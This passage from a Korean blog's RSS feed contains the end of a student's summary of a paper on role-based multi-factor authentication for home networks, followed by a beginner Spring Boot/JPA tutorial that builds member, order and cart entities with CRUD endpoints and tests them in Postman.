&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.4 시험 결과&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 오전 9.36.19.png&quot; data-origin-width=&quot;424&quot; data-origin-height=&quot;142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E3djV/dJMcahj7BwS/GPUOc74s8T1vKeeqjuQ4W1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E3djV/dJMcahj7BwS/GPUOc74s8T1vKeeqjuQ4W1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E3djV/dJMcahj7BwS/GPUOc74s8T1vKeeqjuQ4W1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE3djV%2FdJMcahj7BwS%2FGPUOc74s8T1vKeeqjuQ4W1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;424&quot; height=&quot;142&quot; data-filename=&quot;스크린샷 2026-05-12 오전 9.36.19.png&quot; data-origin-width=&quot;424&quot; data-origin-height=&quot;142&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기존 방식이 보안 취약성 공격에 심각한 위험이 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 제안된 역할 기반 다중 인증 기법에 의한 접근 방식: 아이디, 패스워드가 노출된 경우에도 보안상 문제가 발생하지 않았음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;5. 결론&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 사용자와 홈 네트워크 환경이 정보를 공유하며 위협으로부터 안전하게 서비스를 받을 수 있는 보안이 필요하다고 전제.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 역할 기반의 다중 인증 시스템(아이디,패스워드 + 전자서명)을 제안하여 홈 네트워크 환경을 위한 보안을 강화하고자 함&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 역할 기반 MIB 모델을 이용-&amp;gt; 홈 네트워크 환경에서 작업 및 정보 취득 권한을 제한해 보다 안전한 홈 네트워크 환경 관리 기대&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;용어 정리&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;MIB: Management Information Base. 네트워크 관리 모델에서 관리 대상 장비의 상태나 설정을 정의해 놓은 데이터베이스 설계도&lt;/li&gt;
&lt;li&gt;MAC: Mandatory Access Control&lt;/li&gt;
&lt;li&gt;DAC: Discretionary Access Control&lt;/li&gt;
&lt;li&gt;RBAC: Role Based Access Control&lt;/li&gt;
&lt;li&gt;DS: Digital Signature. 전자서명&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;배운점 및 느낀점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하위 권한이 상위 권한을 일시적으로 가지는 동적 역할 할당이 일반적 역할 기반 접근 제어의 고정된 권한 체계로 인한 업무 효율의 감소를 극복하기 위한, 보안 유연성 확보를 위한 방안이라는 것을 알게 되었다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(평상시에는 엄격한 보안을 유지하되, 특수 상황에서 시스템의 중단 없이 유연하게 권한을 조절하기 위함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기존의 ID,PW만 사용하던 방식에 비해 기존 방식에 전자서명 하나만 추가한, 이 논문에서 제안된 방식은 네트워크 패킷 도청 공격, 사전 공격, 백도어 공격 등에 대해 보안성이 뛰어나다는 것을 알 수 있다.&lt;/li&gt;
&lt;li&gt;이를 통해 다중 인증의 강력한 방어 성능을 실감하게 되었다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;보안 관리 시스템은 접속한 사용자의 정보와 권한 정보를 조회한 후 사용자 별 권한 등급 설정 후 그에 맞는 권한을 사용자에게 부여하는 방식으로 운영되는데 이를 통해 외부자에 의한 보안 위협 뿐만 아니라 내부자에 의한 정보 유출이나 오작동 또한 방어할 수 있는 계층적인 보안 설계의 필요성을 깨닫게 되었다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>SWLUG(2026)/논문분석</category>
      <author>batterygj</author>
      <guid isPermaLink="true">https://batterygj.tistory.com/76</guid>
      <comments>https://batterygj.tistory.com/76#entry76comment</comments>
      <pubDate>Tue, 12 May 2026 10:23:55 +0900</pubDate>
    </item>
    <item>
      <title>[4주차] member entity, order entity, cart entity 설계 / 포스트맨 실습</title>
      <link>https://batterygj.tistory.com/75</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;1. Member Entity 설계&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;member.json 코드&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;color: #000000; text-align: start;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;@Entity  // JPA 엔티티임을 선언(자바클래스를 DB테이블로 인식시킴)
@Table(name=&quot;member&quot;) // 엔티티 클래스가 데이터베이스의 member테이블과 매핑되도록 명시
@Getter @Setter  // 자바빈즈 패턴에 따라 필드에 접근하고 값을 수정할 수 있는 메서드를 컴파일 시점에 자동 생성
public class Member {
    @Id // 해당 필드(Id)를 테이블의 Primary Key(기본키)로 지정
    @Column(name=&quot;member_id&quot;)  //실제 데이터베이스 테이블의 컬럼명을 member_id로 매핑
    @GeneratedValue(strategy = GenerationType.IDENTITY) // 기본키 생성전략 설정. IDENTITY는 기본키 생성을 DB에 위임하는 방식
    private Long id;

    private String name; // 별도의 어노테이션이 없으면 필드명이 그대로 테이블의 컬럼명으로 매핑됨
    @Column(unique=true) // 바로 아래에 있는 필드에만 unique 제약조건을 걺. 여기서는 중복 이메일값 들어오는 것 방지
    private String email;
    private String password;
    private String address;

    @Enumerated(EnumType.STRING) // 자바의 Enum 타입을 문자열로 데이터베이스에 저장(ENUM 순서가 바뀌어도 데이터 꼬이지 않음)
    private Role role;

    @CreatedDate // 엔티티가 생성되어 저장될 때의 시간을 자동으로 주입
    private LocalDateTime createdBy;
    @LastModifiedDate // 엔티티값을 변경할 때 마지막으로 수정된 시간을 자동으로 업데이트
    private LocalDateTime modifiedBy;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;constant/Role 코드&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778386840641&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public enum Role {
    USER, ADMIN
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; &amp;nbsp;프로젝트 전체에서 공통으로 사용할 상태값 정의. USER, ADMIN 두 종류의 상태값을 사용한다는 선언&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) enum : enumeration. 관련된 상수(정해진 값)들을 모아놓은 특별한 클래스임을 선언&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Role: 이 열거형의 이름&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;2. Order Entity 설계&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1778388613630&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Entity // 자바클래스를 DB테이블로 인식시킴
@Table(name=&quot;orders&quot;) // DB에 생성될 테이블의 이름을 orders로 지정
@Getter  // 클래스 상단에 private Long id; 이런 어노테이션 있으면 컴파일 시점에 getId() 자동 생성
public class Order {
    @Id // Id가 이 테이블의 PK
    @Column(name=&quot;order_id&quot;) // 객체 변수명은 id이지만 DB 컬럼명은 order_id로 씀
    @GeneratedValue(strategy = GenerationType.IDENTITY) // PK생성 권한을 DB에 넘김
    private Long id;

    @ManyToOne // 다대일관계
    @JoinColumn(name=&quot;member_id&quot;)  // 이 설정이 적힌 orders 테이블에 member_id라는 이름의 컬럼이 생성됨. member 테이블의 PK값 저장
    private Member member;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) Order 객체 입장에서 여러주문이 한명의 회원에게 연결되므로 다대일 관계&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FK : 외부 키&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;3. Car Entity 설계&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1778388698844&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Entity
@Table(name=&quot;carts&quot;)  // DB에 생성될 테이블이름을 carts로 지정
@Getter // 모든 필드에 대해 데이터를 읽는 메서드를 자동 생성
@Setter // 모든 필드에 대해 데이터를 수정하는 메서드를 자동 생성
public class Cart {
    @Id
    @Column(name=&quot;cart_id&quot;)  // 실제 DB컬럼명을 cart_id로 매핑
    @GeneratedValue(strategy=GenerationType.IDENTITY)  // PK 생성방식 DB에 위임
    private Long id;

    @ManyToOne  // 다대일관계(한 회원이 여러 시점의 장바구니를 가질 수 있음)
    @JoinColumn(name=&quot;member_id&quot;)  // carts 테이블 안에 member_id라는 외래 키(FK) 컬럼을 만듦. 이 컬럼이 Member 테이블의 PK와 연결되는 통로가 됨
    private Member member;

    @CreatedDate  // 장바구니가 처음 생성된 시간을 createBy 필드에 자동 기록
    private LocalDateTime createdBy; 
    @LastModifiedDate  // 장바구니 정보가 마지막으로 수정된 시간을 modifiedBy 필드에 자동 기록
    private LocalDateTime modifiedBy;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;DB 확인&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1778390268668&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;mysql -u root -p

show databases;

use swlug26test;

show tables;

desc [table명];&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1464&quot; data-origin-height=&quot;1712&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnZC9w/dJMcadPradI/cnN0l62LvGp8Cuqqkole1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnZC9w/dJMcadPradI/cnN0l62LvGp8Cuqqkole1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnZC9w/dJMcadPradI/cnN0l62LvGp8Cuqqkole1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnZC9w%2FdJMcadPradI%2FcnN0l62LvGp8Cuqqkole1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;384&quot; height=&quot;449&quot; data-origin-width=&quot;1464&quot; data-origin-height=&quot;1712&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;member service&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1778390424895&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Service // 비즈니스로직을 수행하는 서비스 객체임
@RequiredArgsConstructor // 의존성 주입을 위함. final이 붙은 필드를 매개변수로 갖는 생성자를 자동으로 만듦
public class MemberService {

    private final MemberRepository memberRepository; // 서비스가 DB에 접근하기 위해 사용하는 도구

    // CREATE
    public Member save(Member member) {  // 1.저장할 회원 정보를 담은 member객체를 외부로부터 받음
        member.setCreatedBy(LocalDateTime.now());  // 2.엔티티의 시간필드에 현재 시간을 대입하여 가공
        return memberRepository.save(member); // 3.가공된 데이터를 DB에 저장
    }

    // READ (전체 조회)
    public List&amp;lt;Member&amp;gt; findAll() {  // DB에 저장된 회원정보를 모두 찾아 list로 반환
        return memberRepository.findAll(); //3.모든 데이터를 다 가져옴
    }

    // READ (단건 조회)
    public Member findById(Long id) {
        return memberRepository.findById(id)
                .orElseThrow(() -&amp;gt; new IllegalArgumentException(&quot;회원 없음&quot;));
    } // 2.DB에서 찾았는데 없으면 에러를 발생시키는 예외처리 로직 수행 3.특정 ID데이터 찾아서 가져옴

    // UPDATE
    public Member update(Long id, Member updatedMember) { //1.누구(id)를 무엇으로(updateMember)로 고칠지 입력받음
        Member member = findById(id); //2.기존데이터를 DB에서 먼저 꺼내서
        member.setName(updatedMember.getName());
        member.setEmail(updatedMember.getEmail());
        member.setAddress(updatedMember.getAddress());
        member.setPassword(updatedMember.getPassword());
        member.setRole(updatedMember.getRole());
        member.setModifiedBy(LocalDateTime.now()); // 2.원본 객체(member)에 새로운 정보들을 하나씩 대입(수정)
        return memberRepository.save(member);  // 3.수정이 끝난 객체를 다시저장하여 DB 업데이트
    }

    // DELETE
    public void delete(Long id) {  // 지우고 싶은 회원 id를 받음
        memberRepository.deleteById(id);  // 해당 id의 데이터를 삭제
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;+) &lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;private final MemberRepository memberRepository; 에서 final&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;: 서비스가 작동하는 동안 이 도구가 바뀌지 않도록 안전하게 고정&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;+) 서비스의 역할(3단계흐름)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;1. 데이터 수령(매개변수로 값을 받음)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;2. 로직 처리(데이터 가공 및 검증)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;3. Repository 명령(DB작업 수행 요청)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;member repository&amp;nbsp;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;: 회원정보를 다루는 기본 도구들을 상속받으면서, 이메일로 회원을 찾는 기능을 추가한 인터페이스&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778390471065&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public interface MemberRepository extends JpaRepository&amp;lt;Member, Long&amp;gt; {
    Optional&amp;lt;Member&amp;gt; findByEmail(String email);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;extends JpaRepository&amp;lt;Member, Long&amp;gt; : member service에서 썼던 save(), findAll(), findById() 등의 기본 기능을&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;바로 사용 가능&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;Optional&amp;lt;Member&amp;gt; findByEmail(String email) &amp;nbsp;: &amp;nbsp;이메일로 회원을 찾았을 때 존재하면 그 회원을 돌려주지만, 없으면 비어있는 상태로 돌려주어 에러(Nullpointerexception을 안전하게 방지)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;member controller&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1778390490215&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@RestController  // 응답을 HTML형태가 아닌 JSON형태로 주겠다고 선언
@RequiredArgsConstructor  // 서비스(memberService)를 자동으로 연결해줌
@RequestMapping(&quot;/members&quot;)  // 이 클래스의 모든 기능은 /members 주소로 시작
public class MemberController {

    private final MemberService memberService;

    // CREATE
    @PostMapping  // HTTP POST 요청 (데이터 등록 시 사용)
    public Member create(@RequestBody Member member) {
        // @RequestBody: 사용자가 보낸 JSON 데이터를 객체로 변환해서 받음
        return memberService.save(member);
    }

    // READ (전체)
    @GetMapping // HTTP GET 요청 (데이터 조회 시 사용)
    public List&amp;lt;Member&amp;gt; getAll() {
        return memberService.findAll();
    }

    // READ (단건)
    @GetMapping(&quot;/{id}&quot;)
    public Member getOne(@PathVariable Long id) {  // 주소창에 적힌 {id} 숫자를 변수로 받음
        return memberService.findById(id);  // id로 회원을 찾아 정보를 반환
    }

    // UPDATE
    @PutMapping(&quot;/{id}&quot;) // HTTP PUT 요청 (데이터 수정 시 사용)
    public Member update(@PathVariable Long id, @RequestBody Member member) {
        return memberService.update(id, member);
    } // 누구(id), 어떻게 고칠지(member)를 동시에 받아 update를 실행해 수정완료된 객체 전송

    // DELETE
    @DeleteMapping(&quot;/{id}&quot;)  // HTTP DELETE 요청 (데이터 삭제 시 사용)
    public String delete(@PathVariable Long id) {
        memberService.delete(id);
        return &quot;삭제 완료&quot;;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;포스트맨 실습&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; Intelli J 실행한채로 포스트맨 실행&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2764&quot; data-origin-height=&quot;1618&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lJIm3/dJMcacpw1Ww/kCgKsw2ZapydkKr6qhGLLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lJIm3/dJMcacpw1Ww/kCgKsw2ZapydkKr6qhGLLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lJIm3/dJMcacpw1Ww/kCgKsw2ZapydkKr6qhGLLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlJIm3%2FdJMcacpw1Ww%2FkCgKsw2ZapydkKr6qhGLLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;281&quot; data-origin-width=&quot;2764&quot; data-origin-height=&quot;1618&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1778404974604&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;package com.swlug26test.shop;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class ShopApplication {

	public static void main(String[] args) {
		SpringApplication.run(ShopApplication.class, args); //실제 서버를 구동시키는 명령
	} // Spring 로고가 뜨고, 8080 포트가 열리면서 포스트맨의 요청을 받을 준비가 됨

}&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;- 회원 생성 ( POST http://localhost:8080/members )&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1640&quot; data-origin-height=&quot;1362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qS7E5/dJMcahK8Z5h/YafvNl9S47ZzzKhhMi0Y01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qS7E5/dJMcahK8Z5h/YafvNl9S47ZzzKhhMi0Y01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qS7E5/dJMcahK8Z5h/YafvNl9S47ZzzKhhMi0Y01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqS7E5%2FdJMcahK8Z5h%2FYafvNl9S47ZzzKhhMi0Y01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;472&quot; height=&quot;392&quot; data-origin-width=&quot;1640&quot; data-origin-height=&quot;1362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. controller : 회원 생성 요청을 인식하고 사용자가 JSON으로 보낸 데이터를 자바 객체로 변환해서 받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(@PostMapping, @RequestBoy가 담당)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. entity : 회원 데이터가 DB에 어떤 형태로 쌓일지 정의한 클래스&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. service : 필요한 데이터 가공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(modifyedBy, createdBy를 LocalDateTime.now()로 세팅)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. repository : 자바 객체를 DB가 알아들을 수 있는 SQL로 바꿔 전달&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;- 전체 조회 ( GET &amp;nbsp;http://localhost:8080/members )&lt;/h4&gt;
